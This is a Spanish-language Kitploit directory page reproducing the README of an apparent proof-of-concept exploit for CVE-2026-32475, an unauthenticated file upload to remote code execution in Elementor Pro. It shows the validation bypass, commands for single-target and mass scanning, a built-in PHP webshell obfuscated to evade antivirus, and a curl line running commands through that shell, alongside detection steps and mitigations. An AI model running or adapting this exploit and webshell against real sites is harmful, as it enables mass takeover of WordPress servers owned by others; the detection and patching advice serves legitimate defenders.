Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-32475 — Prueba de concepto de exploit para CVE-2026-32475, una subida arbitraria de archivos sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye escaneo masivo, confirmación de nombre de archivo por fuerza bruta y un webshell ofuscado integrado para pruebas autorizadas. | Kitploit
Herramientas/GitHubGitHub/4minx/cve-2026-32475
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónDesarrollo de Payloads
GitHub4minx/cve-2026-32475

CVE-2026-32475

Ver Repositorio
1415hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de exploit para CVE-2026-32475, una subida arbitraria de archivos sin autenticación en Elementor Pro que conduce a la ejecución remota de código. Incluye escaneo masivo, confirmación de nombre de archivo por fuerza bruta y un webshell ofuscado integrado para pruebas autorizadas.

Compartir

CVE-2026-32475 PoC: Elementor Pro Subida Arbitraria de Archivos No Autenticada a RCE

Subida Arbitraria de Archivos Pre-Autenticación en Elementor Pro que Conduce a Ejecución Remota de Código

Prueba de concepto para CVE-2026-32475, una subida arbitraria de archivos no autenticada crítica en el módulo de Formularios de Elementor Pro que termina en ejecución remota de código. El PoC envía dos partes de archivo para el mismo campo de subida: una primera entrada vacía (nombre de archivo en blanco, que activa UPLOAD_ERR_NO_FILE) seguida del payload. El bucle validation() sale temprano en la entrada vacía mediante return, mientras que process_field() la omite mediante continue, por lo que el payload nunca pasa por la verificación de extensión y termina en un directorio público con extensión .php. Los PoCs que prueban el comportamiento corregido, la misma solicitud después del parche, deben ser rechazados por la verificación de extensión.

Nota: Este PoC es solo para pruebas de seguridad autorizadas e investigación. CVE-2026-32475 está siendo explotado activamente en la naturaleza, y Wordfence ha bloqueado más de 190,000 intentos desde la divulgación del 19 de agosto. Usted es responsable de cumplir con todas las leyes aplicables y de obtener autorización por escrito antes de probar cualquier sistema.


Información de la Vulnerabilidad

  • CVE: CVE-2026-32475
  • Tipo: CWE-434 Carga Sin Restricciones de Archivos con Tipo Peligroso
  • CVSS 3.1: 9.0 (Crítica, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Autenticación: No autenticada (pre-auth, remota, baja complejidad de ataque)
  • Explotación activa: Sí (armamento el mismo día; más de 190,000 intentos bloqueados del 19 al 23 de agosto)
  • Software afectado: Elementor Pro (plugin comercial de WordPress), versiones <= 4.2.1
  • Corregido en: 4.2.2 (publicado el 19 de agosto de 2026)
  • Reportado por: Tin Pham (TF1T) vía Patchstack; Austin Ginder vía Wordfence (recompensa de $15,600)
  • Divulgación: 19 de agosto de 2026

Requisitos

  • Python 3.8+ con la librería requests
  • Objetivo: un sitio WordPress con Elementor Pro <= 4.2.1 y un formulario publicado que contenga un campo de Subida de Archivos

Instalar dependencias:

root@kitploit:~
pip install requests

Uso

Objetivo Único

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6

Confirmar Ejecución (fuerza bruta del nombre de archivo uniqid())

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3

Subir el WebShell Ofuscado Integrado

root@kitploit:~
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute

--shell sube un webshell PHP ofuscado mínimo (palabras clave construidas en tiempo de ejecución mediante chr()/implode/strrev, parámetro de comando vapcom) para que las firmas estáticas simples y los escaneos AV en tiempo real en disco no lo marquen. El nombre de archivo almacenado sigue siendo aleatorio (<uniqid()>.php); combínelo con --brute, que sondea ?vapcom=echo <marcador> e informa exec confirmed: <nombre>.php. Uso manual una vez localizado:

root@kitploit:~
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"

Escaneo Masivo

root@kitploit:~
python cve-2026-32475-poc.py -T targets.txt -o results.csv

Payload Personalizado

root@kitploit:~
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php

Opciones

ArgumentoDescripciónPredeterminado
-t, --targetURL del objetivo único-
-T, --targetsArchivo con URLs de objetivos, uno por línea-
-o, --outputArchivo de resultados (CSV: objetivo, estado, form_id, post_id, campo, nota)-
--timeoutTiempo de espera de la solicitud en segundos15
--post-idSobrescribir post_id detectadoauto
--form-idSobrescribir form_id detectado (id del widget de Elementor)auto
--fieldSobrescribir custom_id del campo de subida detectadoauto
--payloadRuta a un archivo de payload personalizado (predeterminado: archivo de token PHP benigno)token benigno
--shellSubir el webshell PHP ofuscado integrado (<?php ... system($_GET) ?> construido en tiempo de ejecución, parámetro vapcom) en lugar del tokenoff
--bruteDespués de una subida exitosa, forzar por fuerza bruta el nombre de archivo uniqid() para confirmar la ejecución de códigooff
--seconds-windowSegundos antes/después del encabezado Date del servidor para fuerza bruta5

Ejemplo de Salida

root@kitploit:~
[*] Probando http://localhost/wplab/?page_id=6 ...
[+] Formulario encontrado: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] resultado: vulnerable - subida aceptada
    respuesta    : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
    subido a    : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] EJECUCIÓN CONFIRMADA: 6a9bb5d70fba6.php -> 'POC3f9a2c...'

[*] hecho: 1/1 vulnerable

Un success:true en la respuesta AJAX significa que el payload fue aceptado sin pasar por la verificación de extensión. El paso 4 con --brute (un 200 en el archivo .php adivinado que contiene el marcador) confirma la ejecución de PHP en el servidor — es decir, RCE completo.

Estados de resultado: vulnerable | patched | unknown | error

  • vulnerable — el servidor web devolvió "success":true; el payload omitió la verificación de extensión
  • patched — la subida fue rechazada con un error de tipo de archivo (la verificación de extensión se ejecutó)
  • unknown — HTTP tuvo éxito pero la respuesta no fue success:true (IDs incorrectos o estado inesperado)
  • error — fallo de solicitud/análisis (tiempo de espera agotado, no-200, formulario no encontrado)

Comportamiento del Payload y Notas sobre el WebShell

  • El nombre de archivo almacenado es siempre <uniqid()>.<extensión_del_atacante> — el nombre base enviado se descarta, por lo que los trucos de doble extensión/byte nulo son irrelevantes; solo importa la verificación de extensión, y es lo que se rompe.
  • Elementor incluye un .htaccess en wp-content/uploads/elementor/forms/ que establece Content-Disposition: attachment en todos los archivos. Esto no detiene la ejecución — PHP aún se ejecuta en el servidor y la respuesta descargada es la salida ejecutada. Para mostrar un shell en el navegador en un laboratorio, desactive ese .htaccess; en el mundo real trátelo solo como cosmético y confíe en el bloqueo de PHP a nivel de servidor.
  • uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec), por lo que el nombre se deriva del tiempo (segundos Unix, 32 bits bajos, + microsegundos). El paso de fuerza bruta delimita el segundo observado en el encabezado Date de la respuesta de envío y, para archivos .php, solicita ?vapcom=echo <marcador> (o ?c= para el archivo token/--payload) de modo que una respuesta con marcador sea ejecución real de PHP en el servidor, no solo una lectura de archivo. El peor caso es ~1M de adivinanzas de microsegundos por segundo, así que ajuste --seconds-window para mantener las ejecuciones cortas.

Detección / Verificación de un Compromiso

root@kitploit:~
# Archivos PHP que no deberían existir en el directorio de subidas
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
  • Trate cualquier archivo .php/.phtml/.phar/.hta bajo el directorio de formularios como evidencia de compromiso.
  • Busque en los registros de acceso GET bajo /wp-content/uploads/elementor/forms/ y POST que contengan elementor_pro_forms_send_form.
  • Si un shell se ejecutó, busque administradores falsos, mu-plugins, archivos de núcleo/tema modificados y eventos WP-Cron inesperados; prefiera restaurar una copia de seguridad conocida en buen estado en lugar de limpiar en el lugar.

Mitigaciones

  • Actualice a Elementor Pro 4.2.2 o más reciente. Las actualizaciones de Elementor Pro se entregan mediante el propio servicio de Elementor — una licencia caducada no ofrecerá la actualización.
  • Si no puede parchear de inmediato, bloquee la ejecución de PHP dentro del directorio de subidas a nivel del servidor web (regla location de nginx o <FilesMatch> de Apache). Esta es la solución duradera y degrada esta y futuras vulnerabilidades de subida a "desperdicio de disco".
  • Enumere los formularios publicados; restrinja los tipos de archivo aceptados; elimine los campos de subida no utilizados.
  • Después de actualizar: escanee el directorio de subidas, revise las cuentas de administrador y audite los registros de la acción elementor_pro_forms_send_form.

Referencias

  • Patchstack — Vulnerabilidad Crítica de Subida de Archivos No Autenticada a RCE en Elementor Pro
  • Wordfence — Atacantes Explotan Activamente Vulnerabilidad Crítica en Elementor Pro
  • MagicWP — CVE-2026-32475: Subida Arbitraria de Archivos en Elementor Pro
  • NVD — CVE-2026-32475
  • dev.to — Explotación Activa de WebShell PHP mediante Bypass de Validación de Arrays
  • deniz.in — RCE en Elementor Pro: subidas de archivos no validadas corregidas en la versión 4.2.2
Descargar herramienta